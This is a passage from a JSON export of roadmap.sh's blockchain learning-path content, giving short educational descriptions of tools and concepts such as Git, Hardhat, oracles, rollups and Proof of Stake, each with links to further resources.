    "content": "# Git\n\nGit is a distributed version control system that tracks changes to files in a project over time. It allows multiple developers to collaborate on the same codebase simultaneously, managing different versions and merging changes efficiently. Git enables developers to revert to previous states, compare modifications, and maintain a detailed history of all project updates.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git Roadmap](https://roadmap.sh/git-github)\n- [@official@Git](https://git-scm.com/)\n- [@official@Git Documentation](https://git-scm.com/doc)\n- [@article@Learn Git with Tutorials, News and Tips - Atlassian](https://www.atlassian.com/git)\n- [@article@Git Cheat Sheet](https://cs.fyi/guide/git-cheatsheet)\n- [@video@Git & GitHub Crash Course For Beginners](https://www.youtube.com/watch?v=SWYqp7iY_Tc)\n- [@feed@Explore top posts about Git](https://app.daily.dev/tags/git?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/github@GOgeaQoRvqg-7mAfL_A8t.md",
    "content": "# GitHub\n\nGitHub is a web-based platform that provides hosting for software development and version control using Git. It allows developers to collaborate on projects, track changes to code, and manage different versions of their work. It offers features like issue tracking, pull requests, and code review, making it a central hub for open-source and private software development.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@GitHub](https://github.com)\n- [@official@GitHub Documentation](https://docs.github.com/en/get-started/quickstart)\n- [@video@What is GitHub?](https://www.youtube.com/watch?v=w3jLJU7DT5E)\n- [@video@Git vs. GitHub: Whats the difference?](https://www.youtube.com/watch?v=wpISo9TNjfU)\n- [@video@Git and GitHub for Beginners](https://www.youtube.com/watch?v=RGOj5yH7evk)\n- [@feed@Explore top posts about GitHub](https://app.daily.dev/tags/github?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/gitlab@CWqwv4asouS-dssAwIdxv.md",
    "content": "# GitLab\n\nGitLab is a web-based DevOps platform that provides a Git repository manager offering features like issue tracking, CI/CD pipelines, and more. It allows developers to collaboratively work on code, manage projects, and automate the software development lifecycle from planning to deployment. GitLab can be self-hosted or used as a SaaS solution.\n\nVisit the following resources to learn more:\n\n- [@official@GitLab Website](https://gitlab.com/)\n- [@official@GitLab Documentation](https://docs.gitlab.com/)\n- [@feed@Explore top posts about GitLab](https://app.daily.dev/tags/gitlab?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/gnosis-chain@UQ9AejYV6_Sk6ZJkXYWf7.md",
    "content": "# Gnosis Chain\n\nGnosis Chain is a blockchain that's compatible with the Ethereum Virtual Machine (EVM). This means it can run smart contracts and applications designed for Ethereum with relatively few changes. It operates as a separate blockchain, using its own consensus mechanism and currency, while still maintaining compatibility with the Ethereum ecosystem.\n\nVisit the following resources to learn more:\n\n- [@official@Gnosis Chain](https://www.gnosischain.com/)\n- [@official@Gnosis Docs](https://docs.gnosischain.com/)\n- [@article@Gnosis Whitepaper](https://www.allcryptowhitepapers.com/gnosis-whitepaper/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/go@jxlQ1ibcCv6ZlcEvobZ_G.md",
    "content": "# Go (Golang) for dApps\n\nGo, often referred to as Golang, is a programming language known for its simplicity, efficiency, and strong support for concurrency. It's designed to be easy to learn and use, while also providing the performance needed for complex systems. For decentralized applications (dApps), Go's speed and ability to handle multiple tasks simultaneously make it well-suited for building the backend logic, smart contracts, and other components that require high performance and reliability.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Go Roadmap](https://roadmap.sh/golang)\n- [@official@A Tour of Go – Go Basics](https://go.dev/tour/welcome/1)\n- [@official@Go Reference Documentation](https://go.dev/doc/)\n- [@article@Go by Example - annotated example programs](https://gobyexample.com/)\n- [@feed@Explore top posts about Golang](https://app.daily.dev/tags/golang?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/gosh@5MGtl00EEZdSnJdrNYPJ7.md",
    "content": "# Gosh\n\nGosh is a development platform that is purpose-built for securing the software supply chain and extracting the value locked in projects. It is the first blockchain-based platform for software development, which allows developers and businesses to create products in a familiar, straightforward, and safe way. On Gosh, every operation, commit, and transaction is trustless, traceable, and transparent. This means that developers can build composable, censorship-resistant repositories, and monetize their open source projects by turning them into a DAO.\n\nVisit the following resources to learn more:\n\n- [@official@Gosh](https://gosh.sh/)\n- [@official@Gosh Documentation](https://docs.gosh.sh/)\n- [@official@Gosh Web](https://app.gosh.sh/)\n- [@official@Docker Extension](https://docs.gosh.sh/working-with-gosh/docker-extension/)\n- [@official@Git Remote Helper](https://docs.gosh.sh/working-with-gosh/git-remote-helper/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/hardhat@l110d4NqTQt9lfEoxqXMX.md",
    "content": "# Hardhat\n\nHardhat is a development environment designed for Ethereum software. It helps developers manage and automate the tasks that are inherent to building smart contracts and decentralized applications (dApps), such as compiling, testing, debugging, and deploying smart contracts. It provides a local development network, allowing developers to experiment and iterate quickly without needing to interact with a live blockchain.\n\nVisit the following resources to learn more:\n\n- [@official@Hardhat](https://hardhat.org/)\n- [@official@Hardhat Overview](https://hardhat.org/hardhat-runner/docs/getting-started#overview)\n- [@video@Build and Deploy Smart Contracts using Hardhat](https://youtu.be/GBc3lBrXEBo)\n- [@feed@Explore top posts about Hardhat](https://app.daily.dev/tags/hardhat?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/huobi-eco-chain@PkRAYBZQAUAHxWEeCCX4U.md",
    "content": "# Huobi Eco Chain\n\nHuobi's ECO Chain (also known as HECO) is a public blockchain that provides developers with a low-cost onchain environment for running decentralized apps (dApps) of smart contracts and storing digital assets.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to HECO Chain](https://docs.hecochain.com/#/)\n- [@article@Huobi Eco Chain whitepaper](https://www.hecochain.com/developer.133bd45.pdf)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/hybrid-smart-contracts@JbgBwG6KmeTdyle9U6WAv.md",
    "content": "# Hybrid Smart Contracts\n\nHybrid smart contracts combine the benefits of blockchain-based smart contracts with external data and computation. They leverage on-chain code for core logic and security, while using off-chain oracles to access real-world information and perform complex computations that are impractical or impossible to execute directly on the blockchain. This allows smart contracts to interact with the outside world and create more sophisticated and versatile applications.\n\nVisit the following resources to learn more:\n\n- [@article@Hybrid Smart Contracts Explained](https://blog.chain.link/hybrid-smart-contracts-explained/)\n- [@article@Guide to Hybrid Smart Contracts](https://www.leewayhertz.com/hybrid-smart-contracts/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/ides@lXukWXEatsF87EWFSYyOO.md",
    "content": "# IDEs\n\nAn integrated development environment is a software application that provides comprehensive facilities to computer programmers for software development. An IDE normally consists of at least a source code editor, build automation tools and a debugger.\n\nVisit the following resources to learn more:\n\n- [@article@Integrated Development Environments](https://ethereum.org/en/developers/docs/ides/)\n- [@article@Remix - Ethereum IDE & community](https://remix-project.org/)\n- [@feed@Explore top posts about DevTools](https://app.daily.dev/tags/devtools?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/infura@hJmNuEMHaMSM0QQlABFRS.md",
    "content": "# Infura\n\nInfura provides a suite of tools and infrastructure that allows developers to easily connect to the Ethereum and IPFS networks. It essentially acts as a gateway, handling the complexities of running and maintaining blockchain nodes. Instead of setting up and managing their own Ethereum node, developers can use Infura's API to interact with the blockchain, making it simpler to build and deploy decentralized applications.\n\nVisit the following resources to learn more:\n\n- [@official@Infura](https://infura.io/)\n- [@official@Infura Documentation](https://docs.infura.io/api)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/insurance@uMXcKCUoUN8-Hq_IOBRCp.md",
    "content": "# Insurance dApps\n\nInsurance dApps can streamline and automate various insurance processes. For example, claims processing can be automated using smart contracts that trigger payouts when specific conditions are met, verified by oracles providing external data. This reduces fraud, speeds up payouts, and lowers administrative costs. Policy management can also be improved by storing policy details on the blockchain, ensuring transparency and immutability. Furthermore, new insurance models like peer-to-peer insurance can be facilitated, where users pool resources and share risks directly, cutting out traditional intermediaries.\n\nVisit the following resources to learn more:\n\n- [@article@Smart Contract Use Cases - Insurance](https://blog.chain.link/smart-contract-use-cases/#insurance)\n- [@article@Top 7 Use Cases of Blockchain in the Insurance Industry](https://imaginovation.net/blog/blockchain-insurance-industry-examples/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/integration-tests@QNfnbUGkT3N-pj5epnHcM.md",
    "content": "# Integration Tests\n\nIntegration tests verify that different units or components of an application work correctly together. They focus on testing the interactions between these components to ensure that data is passed correctly and that the overall system functions as expected when the parts are combined. This type of testing helps to identify issues that may arise when individual units are integrated, such as incorrect data formatting or communication errors.\n\nVisit the following resources to learn more:\n\n- [@article@Blockchain Testing Guide](https://blog.logrocket.com/complete-guide-blockchain-testing/)\n- [@video@Unit Tests vs Integration Tests](https://youtu.be/GxnX9k8i0zM)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/introduction@MvpHHpbS-EksUfuOKILOq.md",
    "content": "# Basic Blockchain Knowledge\n\nUnderstanding the fundamental concepts of blockchain technology is essential. This includes grasping what a blockchain is – a distributed, immutable ledger – and how it operates through cryptographic principles. Key elements involve understanding blocks, transactions, hashing, consensus mechanisms, and the decentralized nature of the system.\n\nVisit the following resources to learn more:\n\n- [@course@Cyfirn Updraft | Blockchain Basics](https://updraft.cyfrin.io/courses/blockchain-basics)\n- [@article@Introduction to Blockchain](https://chain.link/education-hub/blockchain)\n- [@article@Blockchain Explained](https://www.investopedia.com/terms/b/blockchain.asp)\n- [@article@Blockchain for beginners- basic guiding principles](https://blockchain-observatory.ec.europa.eu/document/download/1063effa-59cc-4df4-aeee-d2cf94f69178_en?filename=Blockchain_For_Beginners_A_EUBOF_Guide.pdf)\n- [@video@How does a blockchain work?](https://youtu.be/SSo_EIwHSd4)\n- [@video@What Is a Blockchain? | Blockchain Basics for Developers](https://youtu.be/4ff9esY_4aU)\n- [@feed@Explore top posts about Blockchain](https://app.daily.dev/tags/blockchain?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/javascript@fF06XiQV4CPEJnt_ESOvv.md",
    "content": "# JavaScript for dApps\n\nJavaScript is a programming language that makes websites interactive. It's what allows buttons to work, animations to play, and data to be updated without reloading the page. For decentralized applications (dApps), JavaScript is essential because it's the primary language used to build the front-end, or user interface, that users interact with. It also connects the front-end to the blockchain, allowing users to send transactions and retrieve data from the decentralized network.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@opensource@You Dont Know JS Yet](https://github.com/getify/You-Dont-Know-JS)\n- [@article@The Modern JavaScript Tutorial](https://javascript.info/)\n- [@article@Eloquent Javascript - Book](https://eloquentjavascript.net/)\n- [@video@JavaScript Crash Course for Beginners](https://youtu.be/hdI2bqOjy3c)\n- [@video@Node.js Tutorial for Beginners](https://www.youtube.com/watch?v=TlB_eWDSMt4)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/l2-blockchains@i_Dw3kUZ7qKPG-tk-sFPf.md",
    "content": "# Layer 2 Blockchains\n\nLayer 2 blockchains are built on top of an existing blockchain (Layer 1) to improve scalability and efficiency. They handle transactions off-chain, reducing the burden on the main chain and allowing for faster and cheaper transactions. After processing, the Layer 2 chain submits a summary or proof of the transactions to the Layer 1 chain for final settlement and security.\n\nVisit the following resources to learn more:\n\n- [@article@Layer-1 and Layer-2 Blockchain Scaling Solutions](https://www.gemini.com/cryptopedia/blockchain-layer-2-network-layer-1-network)\n- [@article@Layer 2 - Binance Academy](https://academy.binance.com/en/glossary/layer-2)\n- [@article@Develop a ZK-powered Layer 2 with the Polygon CDK open-source framework](https://wiki.polygon.technology/docs/cdk/)\n- [@video@Cyfrin Updraft | L1s L2s and Rollups](https://updraft.cyfrin.io/courses/blockchain-basics/basics/l1s-l2s-and-rollups)\n- [@feed@Explore top posts about Blockchain](https://app.daily.dev/tags/blockchain?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/maintenance@XvVpnlYhT_yOsvjAvwZpr.md",
    "content": "# Maintenance\n\ndApps can be harder to maintain because the code and data published to the blockchain is harder to modify. It’s hard for developers to make updates to their dapps (or the underlying data stored by a dapp) once they are deployed, even if bugs or security risks are identified in an old version.\n\nVisit the following resources to learn more:\n\n- [@article@Blockchain Maintenance](https://imiblockchain.com/blockchain-coding/maintenance/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/management-platforms@fbESHQGYqxKRi-5DW8TY3.md",
    "content": "# Management Platforms\n\nManagement platforms are tools and systems designed to streamline and oversee various operational aspects. They provide a centralized interface for tasks like resource allocation, project tracking, performance monitoring, and data analysis. These platforms help organizations improve efficiency, make informed decisions, and maintain control over their processes.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Blockchain Platform?](https://www.bitdegree.org/crypto/tutorials/blockchain-platform)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/manticore@twR3UdzUNSztjpwbAUT4F.md",
    "content": "# Manticore\n\nManticore is a symbolic execution tool used for analyzing smart contracts and binary programs. It works by exploring all possible execution paths of a program, identifying potential vulnerabilities like integer overflows, underflows, and other security flaws. This allows developers to automatically detect and fix bugs before deployment.\n\nVisit the following resources to learn more:\n\n- [@official@Manticore Docs](https://manticore.readthedocs.io/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/mining--incentive-models@B7niNXMOTbHn_1ixKQ8ri.md",
    "content": "# Mining and Incentive Models\n\nMining, in the context of blockchain, is the process of validating new transactions and adding them to the blockchain. This is achieved by solving complex computational problems. Incentive models are the mechanisms used to reward miners for their efforts in maintaining the network's security and validating transactions. These rewards typically come in the form of newly created cryptocurrency and transaction fees.\n\nVisit the following resources to learn more:\n\n- [@article@Ethereum Consensus Mechanisms](https://ethereum.org/en/developers/docs/consensus-mechanisms/)\n- [@article@Solana Staking Rewards](https://docs.solana.com/implemented-proposals/staking-rewards)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/mining-and-incentive-models@B7niNXMOTbHn_1ixKQ8ri.md",
    "content": "# Mining and Incentive Models\n\nMining, in the context of blockchain, is the process of validating new transactions and adding them to the blockchain. This is achieved by solving complex computational problems. Incentive models are the mechanisms used to reward miners for their efforts in maintaining the network's security and validating transactions. These rewards typically come in the form of newly created cryptocurrency and transaction fees.\n\nVisit the following resources to learn more:\n\n- [@article@Ethereum Consensus Mechanisms](https://ethereum.org/en/developers/docs/consensus-mechanisms/)\n- [@article@Solana Staking Rewards](https://docs.solana.com/implemented-proposals/staking-rewards)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/monitoring@H3jNM_0sJrB7ZbYzrVhF7.md",
    "content": "# Smart Contract Monitoring\n\nSmart contract monitoring involves continuously observing and analyzing the activity and state of deployed smart contracts. This process helps identify potential issues, vulnerabilities, or unexpected behavior in real-time. By tracking key metrics, events, and transactions, developers and stakeholders can proactively respond to anomalies, ensure contract security, and maintain the integrity of the blockchain application.\n\nVisit the following resources to learn more:\n\n- [@article@On-Chain Security: What’s Lurking in Your Web3 Project?](https://www.quillaudits.com/blog/web3-security/on-chain-security-monitoring)\n- [@feed@Explore top posts about Monitoring](https://app.daily.dev/tags/monitoring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/moonbeam--moonriver@Ib9STGxQa8yeoB-GFeGDE.md",
    "content": "# Moonbeam / Moonriver\n\nMoonbeam and Moonriver are developer-friendly blockchain platforms designed to operate as parachains within the Polkadot and Kusama networks, respectively. They provide an Ethereum-compatible environment, allowing developers to easily deploy existing Solidity-based smart contracts and decentralized applications (dApps) with minimal code changes. This compatibility simplifies the process of bringing Ethereum projects to the Polkadot ecosystem, leveraging its scalability and interoperability features.\n\nVisit the following resources to learn more:\n\n- [@official@Moonbeam](https://moonbeam.network/)\n- [@official@About Moonbeam](https://docs.moonbeam.network/learn/platform/networks/moonbeam/)\n- [@official@Moonbeam Vision](https://docs.moonbeam.network/learn/platform/vision/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/moonbeam--moonriver@VVbvueVMJKLUoJYhbJB1z.md",
    "content": "# Moonbeam / Moonriver\n\nMoonbeam and Moonriver are developer-friendly blockchain environments designed to be compatible with Ethereum's tooling and ecosystem. Moonbeam operates as a smart contract parachain on the Polkadot network, while Moonriver serves as its \"canary network\" on Kusama, providing a real-world testing ground for new code. Both platforms allow developers to easily deploy existing Solidity-based smart contracts and decentralized applications (dApps) from Ethereum with minimal changes.\n\nVisit the following resources to learn more:\n\n- [@official@Moonbeam](https://moonbeam.network/)\n- [@official@About Moonbeam](https://docs.moonbeam.network/learn/platform/networks/moonbeam/)\n- [@official@Moonbeam Vision](https://docs.moonbeam.network/learn/platform/vision/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/moralis@RFgetmTvKvpV2PG6Vfev7.md",
    "content": "# Moralis\n\nMoralis is a development platform that simplifies the process of building decentralized applications (dApps). It provides a suite of tools and infrastructure, including a managed backend, authentication, and real-time data synchronization, allowing developers to focus on the front-end user experience and smart contract logic rather than managing complex server-side infrastructure.\n\nVisit the following resources to learn more:\n\n- [@official@Moralis](https://moralis.com/)\n- [@official@Moralis Docs](https://docs.moralis.com/)\n- [@opensource@Moralis SDK](https://github.com/MoralisWeb3/Moralis-JS-SDK)\n- [@feed@Explore top posts about Moralis](https://app.daily.dev/tags/moralis?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/moralis@pJhR9OQo8YFQmAZXQbikJ.md",
    "content": "# Moralis\n\nMoralis is a development platform that simplifies the process of building decentralized applications (dApps). It provides a set of tools and infrastructure that handle the backend complexities, allowing developers to focus on the frontend user experience and smart contract logic. Essentially, Moralis offers a streamlined way to interact with blockchain data and functionalities without needing to manage servers or complex APIs.\n\nVisit the following resources to learn more:\n\n- [@official@Moralis](https://moralis.io/)\n- [@feed@Explore top posts about Moralis](https://app.daily.dev/tags/moralis?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/mythx@XIgczUc3yKo6kw-_3gskC.md",
    "content": "# MythX\n\nMythX is a security analysis platform designed for Ethereum smart contracts. It automatically scans smart contract bytecode for common vulnerabilities using a combination of static analysis, dynamic analysis, and symbolic execution. This helps developers identify and address potential security flaws before deploying their contracts to the blockchain.\n\nVisit the following resources to learn more:\n\n- [@official@MythX](https://mythx.io/)\n- [@official@MythX Documentation](https://docs.mythx.io/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/nethermind@xtYwg0WAcE8Ea9VgC2RSc.md",
    "content": "# Nethermind\n\nNethermind is a software client for the Ethereum blockchain, written in C#/.NET. It allows developers to interact with the Ethereum network, execute smart contracts, and build decentralized applications (dApps). It offers a full Ethereum node implementation, providing features like JSON-RPC API, tracing, and monitoring tools, making it a versatile option for developers seeking an alternative to other Ethereum clients like Geth or Parity.\n\nVisit the following resources to learn more:\n\n- [@official@Nethermind](https://www.nethermind.io/)\n- [@official@Nethermind Documentation](https://docs.nethermind.io/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/nfts@e4OHLOfa_AqEShpMQe6Dx.md",
    "content": "# NFTs\n\nNFTs, or Non-Fungible Tokens, are unique digital assets that represent ownership of items. These items can be anything digital, like artwork, music, or virtual real estate, or even real-world assets. Each NFT has a unique identifier, making it distinct and irreplaceable, unlike cryptocurrencies like Bitcoin, which are fungible (interchangeable). This uniqueness allows NFTs to be used to prove authenticity and ownership in the digital realm.\n\nVisit the following resources to learn more:\n\n- [@article@What are NFTs?](https://www.coindesk.com/learn/what-are-nfts-and-how-do-they-work/)\n- [@article@Non-Fungible Token (NFT)](https://www.investopedia.com/non-fungible-tokens-nft-5115211)\n- [@article@NFTs Explained](https://www.theverge.com/22310188/nft-explainer-what-is-blockchain-crypto-art-faq)\n- [@video@NFT Explained In 5 Minutes | What Is NFT? - Non Fungible Token](https://youtu.be/NNQLJcJEzv0)\n- [@video@Cyfrin Updraft | What is an NFT](https://updraft.cyfrin.io/courses/advanced-foundry/how-to-create-an-NFT-collection/what-is-a-nft)\n- [@feed@Explore top posts about NFT](https://app.daily.dev/tags/nft?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/node-as-a-service@dDPhMNPpl3rZh3EgXy13P.md",
    "content": "# Node as a Service\n\nNode as a Service (NaaS) provides access to blockchain nodes without requiring users to set up and maintain their own infrastructure. Instead of running a node directly, developers can connect to a node provided by a third-party service. This allows them to interact with the blockchain, read data, and broadcast transactions without the complexities of node management.\n\nVisit the following resources to learn more:\n\n- [@article@Blockchain Node Providers and How They Work](https://www.infoq.com/articles/blockchain-as-a-service-get-block/)\n- [@article@Node as a Service - Ethereum](https://ethereum.org/en/developers/docs/nodes-and-clients/nodes-as-a-service/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/on-chain-scaling@1bUD9-vFo-tsHiB1a06tO.md",
    "content": "# On-Chain Scaling\n\nOn-chain scaling refers to methods of increasing a blockchain's transaction processing capacity directly within the blockchain's own architecture. This involves modifications to the blockchain's core rules, such as increasing the block size or changing the consensus mechanism, to allow for more transactions to be processed in a given time period. The goal is to handle a higher volume of transactions without relying on external solutions.\n\nVisit the following resources to learn more:\n\n- [@article@Scaling - Ethereum](https://ethereum.org/en/developers/docs/scaling/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/openzeppelin@qox-x_q-Q7aWcNFWD7RkT.md",
    "content": "# OpenZeppelin\n\nOpenZeppelin is a library of secure, reusable smart contracts for Ethereum and other blockchain platforms. It provides implementations of common standards like ERC-20 and ERC-721, as well as security tools and best practices to help developers build decentralized applications (dApps) safely and efficiently. Think of it as a collection of pre-built, audited building blocks for smart contract development.\n\nVisit the following resources to learn more:\n\n- [@official@OpenZeppelin Contracts](https://docs.openzeppelin.com/contracts/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/optimism@EK5TqRRn15ExsGc4gfMLu.md",
    "content": "# Optimism\n\nOptimism is a Layer 2 scaling solution for Ethereum. It aims to improve transaction speeds and reduce costs on the Ethereum network by processing transactions off-chain and then bundling them back onto the main chain in a more efficient manner. It uses a technology called Optimistic Rollups, which assumes transactions are valid unless proven otherwise, streamlining the validation process.\n\nVisit the following resources to learn more:\n\n- [@book@Optimism Explained: Layer 2 Scaling & How It Differs from Arbitrum](https://www.youtube.com/watch?v=Rte3fQY6xy4)\n- [@official@Optimism](https://www.optimism.io/)\n- [@official@Optimism Documentation](https://docs.optimism.io/)\n- [@video@How To Use Ethereum Optimism L2 (2025)](https://www.youtube.com/watch?v=KsYFeG4mBoE)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/optimistic-rollups--fraud-proofs@ti6-LSK52dTCLVdxArp9q.md",
    "content": "# Optimistic Rollups & Fraud Proofs\n\nOptimistic rollups are a layer-2 scaling solution for blockchains that bundle multiple transactions together and post them to the main chain as a single transaction. The \"optimistic\" part means that these bundled transactions are assumed to be valid unless proven otherwise. Fraud proofs are the mechanism by which someone can challenge the validity of a rollup transaction. If a fraud proof is successful, the invalid transaction is reverted, and the submitter of the fraudulent transaction is penalized.\n\nVisit the following resources to learn more:\n\n- [@article@How Do Optimistic Rollups Work (The Complete Guide)](https://www.alchemy.com/overviews/optimistic-rollups)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/oracle-networks@CzfsAQIk3zIsDaDAorG9K.md",
    "content": "# Oracle Networks\n\nOracle networks are groups of independent oracles that work together to provide data to a blockchain. Instead of relying on a single source of information, these networks aggregate data from multiple oracles, enhancing reliability and security. This redundancy helps to mitigate the risk of inaccurate or manipulated data being fed into smart contracts, making the overall system more robust.\n\nVisit the following resources to learn more:\n\n- [@official@Understanding Blockchain Oracle](https://chain.link/education/blockchain-oracles)\n- [@article@Decentralized Oracle Networks](https://medium.com/coinmonks/decentralized-oracle-networks-9fead28f5fe5)\n- [@article@A Beginner’s Guide To The Evolution Of Decentralized Oracle Networks](https://chainlinktoday.com/a-beginners-guide-to-the-evolution-of-decentralized-oracle-networks/)\n- [@video@Cyfrin Updraft | Intro to oracles](https://updraft.cyfrin.io/courses/solidity/fund-me/real-world-price-data)\n- [@feed@Explore top posts about Oracle](https://app.daily.dev/tags/oracle?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/oracles@sK8G-41D3EfYNSLFJ3XYf.md",
    "content": "# Oracles\n\nOracles are entities that connect blockchains to external systems, enabling smart contracts to interact with real-world data. They act as bridges, fetching information from off-chain sources like APIs, databases, or even physical sensors, and then relaying that data onto the blockchain for use in smart contract execution. This allows smart contracts to react to real-world events and conditions, making them more versatile and useful.\n\nVisit the following resources to learn more:\n\n- [@article@Blockchain Oracle](https://en.wikipedia.org/wiki/Blockchain_oracle)\n- [@article@What Is a Blockchain Oracle?](https://chain.link/education/blockchain-oracles)\n- [@feed@Explore top posts about Blockchain](https://app.daily.dev/tags/blockchain?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/payments@vTGSDThkDDHvCanNlgP07.md",
    "content": "# Payments in dApps\n\nPayments within decentralized applications (dApps) involve using cryptocurrencies or tokens to exchange value directly between users or between users and the dApp itself, without relying on traditional intermediaries like banks. This enables faster, more transparent, and often cheaper transactions compared to conventional payment systems. dApps can leverage smart contracts to automate payment processes, enforce payment terms, and create innovative financial models.\n\nVisit the following resources to learn more:\n\n- [@article@How does Blockchain Impact Global Payments and Remittances?](https://consensys.net/blockchain-use-cases/finance/#payments)\n- [@article@Smart Contract Use Cases - Payments](https://blog.chain.link/smart-contract-use-cases/#external-payments)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/plasma@dMesiPUPBegYQ7hgeMMJK.md",
    "content": "# Plasma\n\nPlasma is a framework for building scalable decentralized applications (dApps) on top of a parent blockchain, like Ethereum. It essentially creates \"child chains\" that operate independently but are anchored to the main chain for security. These child chains can process transactions much faster and cheaper than the main chain, and periodically commit summaries of their activity to the parent chain, ensuring data integrity and dispute resolution.\n\nVisit the following resources to learn more:\n\n- [@article@Plasma Chains - Ethereum](https://ethereum.org/en/developers/docs/scaling/plasma/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/poh@-bul5ZMIcZf8RNd4kV54s.md",
    "content": "# Proof of History (PoH)\n\nProof of History (PoH) is a consensus mechanism that creates a historical record to prove that an event occurred at a specific moment in time. It uses a verifiable delay function (VDF) to generate a sequence of computations that are difficult to parallelize, meaning they must be executed in a specific order. This creates a tamper-proof and auditable timeline of events, allowing for faster and more efficient consensus in distributed systems.\n\nVisit the following resources to learn more:\n\n- [@article@Proof-of-History (PoH)](https://coinmarketcap.com/academy/glossary/proof-of-history-poh)\n- [@article@What Is Solana’s Proof of History? SOL’s Unique Consensus Mechanism](https://crypto.com/en-es/university/what-is-solanas-proof-of-history-sol-consensus-mechanism)\n- [@article@Proof of History: How it Works](https://www.scalingparrots.com/en/proof-of-history-what-is-it/)\n- [@video@Proof of History Explainer](https://www.youtube.com/watch?v=rywOYfGu4EA)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/pokt-network@pJhR9OQo8YFQmAZXQbikJ.md",
    "content": "# Moralis\n\nMoralis is a development platform that simplifies the process of building decentralized applications (dApps). It provides a set of tools and infrastructure that handle the backend complexities, allowing developers to focus on the frontend user experience and smart contract logic. Essentially, Moralis offers a streamlined way to interact with blockchain data and functionalities without needing to manage servers or complex APIs.\n\nVisit the following resources to learn more:\n\n- [@official@Moralis](https://moralis.io/)\n- [@feed@Explore top posts about Moralis](https://app.daily.dev/tags/moralis?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/polygon@JNilHFQnnVDOz-Gz6eNo5.md",
    "content": "# Polygon\n\nPolygon is a framework for building and connecting Ethereum-compatible blockchain networks. It aims to aggregate scalable solutions on Ethereum, supporting a multi-chain Ethereum ecosystem. It essentially provides tools to create custom blockchain networks that can connect to Ethereum, offering faster and cheaper transactions while still benefiting from Ethereum's security and ecosystem.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to Polygon](https://wiki.polygon.technology/)\n- [@official@Polygon zkEVM](https://polygon.technology/polygon-zkevm)\n- [@official@Polygon PoS](https://polygon.technology/polygon-pos)\n- [@official@Polygon CDK](https://polygon.technology/polygon-cdk)\n- [@official@Polygon ID](https://polygon.technology/polygon-id)\n- [@official@Polygon POL whitepaper](https://polygon.technology/papers/pol-whitepaper)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/pos@WNPNoDZ57M2QHEIIU-Bpa.md",
    "content": "# Proof of Stake (PoS)\n\nProof of Stake (PoS) is a type of consensus mechanism used by blockchains to achieve agreement on the state of the network. In PoS systems, validators are chosen to create new blocks based on the number of tokens they \"stake\" or hold in the network. The more tokens a validator stakes, the higher their chance of being selected to propose the next block and earn rewards. This mechanism aims to be more energy-efficient than Proof of Work (PoW) by eliminating the need for complex computations.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Proof-of-Stake: How PoS Transforms Cryptocurrency](https://www.investopedia.com/terms/p/proof-stake-pos.asp)\n- [@article@What is \"proof of work\" or \"proof of stake\"?](https://www.coinbase.com/en-es/learn/crypto-basics/what-is-proof-of-work-or-proof-of-stake)\n- [@video@Proof-of-Stake (vs proof-of-work)](https://www.youtube.com/watch?v=M3EFi_POhps)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/pow@XbO1CKYZ6OVqVjtrcHKq2.md",
